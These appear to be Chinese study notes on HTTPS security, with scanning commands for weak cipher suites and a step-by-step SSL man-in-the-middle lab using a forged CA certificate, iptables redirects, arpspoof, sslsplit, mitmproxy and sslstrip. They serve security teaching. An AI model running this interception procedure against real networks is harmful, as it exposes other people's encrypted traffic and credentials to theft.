HTTPS攻击
- 全站https正成为潮流趋势
- 淘宝、百度
- HTTPS的作用
- CIA
- 解决的是信息传输过程中数据被篡改、窃取
- 加密:对称、非对称、单向
- HTTPS攻击方法
- 降级攻击
- 将高强度算法降级为低强度算法
- 解密攻击(明文、证书伪造)
- 协议漏洞、https实现方法的漏洞、配置不严格
- 降级攻击
SSL(Secure socket layer)
- 保证网络通信安全的加密协议
- 1994年由Netscape开发成为统一标准
- 1999年TLS(Transport Layer security)取代SSL v3
- 近年来发现的SSL协议漏洞使业界认为其漏洞已经不可软件修复
- Heartbleed
- POODLE
- BEAST
- TLS/SSL、HTTPS、HTTP over SSL 通俗上表示同意含义
- SSL/TLS也被用于其它场景的传输通道加密
- 邮件传输(服务器间、客户端与服务器间)
- 数据库服务器间
- LDAP身份认证服务器间
- SSL VPN
- 远程桌面RDP通信过程中的加密和身份认证
WEB通信中的SSL加密
- 公钥证书(受信任的第三方证书颁发机构签名颁发)
- VeriSign
- Thawte
- GlobalSign
- Symantec
- 加密过程
- 握手
- 协商加密算法(密钥交换算法、非对称加密算法、对称加密算法、哈希算法、)
- 获取公钥证书
- 验证公钥证书
- 交换会话密钥
- 加密信息传输
- 加密算法
- 非对称加密算法
- Diffie-Hellman key exchange
- Rivest Shamir Adleman(RSA)
- Elliptic Curve Cryptography(ECC)
- 对称加密算法
- Data Encryption Standard(DES)/3DES
- Advance Encryption Standard(AES)
- International Data Encryption Algo(IDEA)
- Rivest Cipher 4(RC4)
- WEP、TLS/SSL、RDP、Secure shell
- 单向加密算法(HASH)
- MD5
- SHA1
- SHA2
- SHA3
- 非对称加密算法
操作
- Openssl
- 直接调用openssl库识别目标服务器支持的SSL/TLS cipher suite
- 连接443端口
openssl s_client -connect www.baidu.com:443
- 看是否支持不安全的cypher suite:
openssl s_client -tls1_2 -cipher 'XXXXXXXX' -connect www.baidu.com
- 查看已知的不安全的cipher suite:
openssl ciphers -v "NULL,EXPORT,LOW,DES"
- 密钥交换、身份认证、数据加密、hash算法
- 所有算法去ssl官网查看
- SSLScan
- 自动识别SSL配置错误、过期协议、过时cipher suite和hash算法
- 默认会检查CRIME、heartbleed漏洞
- 绿色表示安全、红色黄色需要引起注意
- TLS支持的cipher suite
- 查看
sslscan -tlsall www.taobao.com:443
- 查看
- 分析证书详细数据
sslscan --show-certificate --no-ciphersuites www.taobao.com:443
- SSLyze
- Python编写
- 检查SSL过时版本
- 检查存在弱点的cipher suite
- 支持从列表文件查询多个站点
- 检查是否支持会话修复
sslyze --regular www.taobao.com:443
- Nmap
- nmap –script=ssl-enum-ciphers.nse www.taobao.com
- ssllabs
SSL中间人攻击
攻击条件
- 攻击者位于客户端和服务器通信链路中
- ARP
- DHCP
- 修改网关
- 修改DNS
- 修改HOSTS
- ICMP、STP、OSPF(同一个局域网)
- 加密流量
- 前提
- 客户端已经信任伪造证书颁发机构
- 攻击者控制了合法证书颁发机构
- 客户端程序禁止了显示证书错误告警信息
- 攻击者已经控制客户端,并强制其信任伪造证书
一些工具
SSLsplit
- 透明SSL/TLS中间人攻击工具
- 对客户端伪装成服务器,对服务器伪装成普通客户端
- 伪装服务器需要伪造证书
- 支持SSL/TLS加密的SMTP、POP3\FTP等通信中间人攻击
操作
利用openssl生成证书私钥:
openssl genrsa -out ca.key 2048
- 不会生成公钥,因为公钥提取自私钥
利用私钥签名生成证书:
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
开启本机路由功能:sysctl -w net.ipv4.ip_forward=1
- 使流经的请求可以被正常转发
- 或者直接修改文件内容 /proc/sys/net/ipv4/ip_forward
iptables端口转发规则
- 将请求到本机的ssl流量转发给sslsplit
- iptables -L 查看当前存在的规则
- iptables -F,清空当前所有规则
- 先结束本机的80和443端口占用的程序
- iptables -t nat -A PREROUTING -p tcp –dport 80 -j REDIRECT –to-ports 8080
- 在nat表中加一个PREROUTING(路由之前生效的规则)80端口的tcp重定向到8080
- iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT –to-ports 8443
- iptables -t nat -A PREROUTING -p tcp –dport 587-j REDIRECT –to-ports 8443 #MSA
- iptables -t nat -A PREROUTING -p tcp –dport 465-j REDIRECT –to-ports 8443 #SMTPS
- iptables -t nat -A PREROUTING -p tcp –dport 993-j REDIRECT –to-ports 8443 #IMAP
- iptables -t nat -A PREROUTING -p tcp –dport 995 -j REDIRECT –to-ports 8443 #POP3
- 将请求到本机的ssl流量转发给sslsplit
Arp欺骗
- arpspoof -i eth0 -t 1.1.1.2 -r 1.1.1.1
启动SSLsplit
- cd ~
- mkdir -p test/logdir
- sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
Mitmproxy
- mitmproxy -T –host -w mitmproxy.log
SSLStrip
- 与前两种工具不同,将客户端到中间人之间的流量变为明文
- sslstrip -l 8080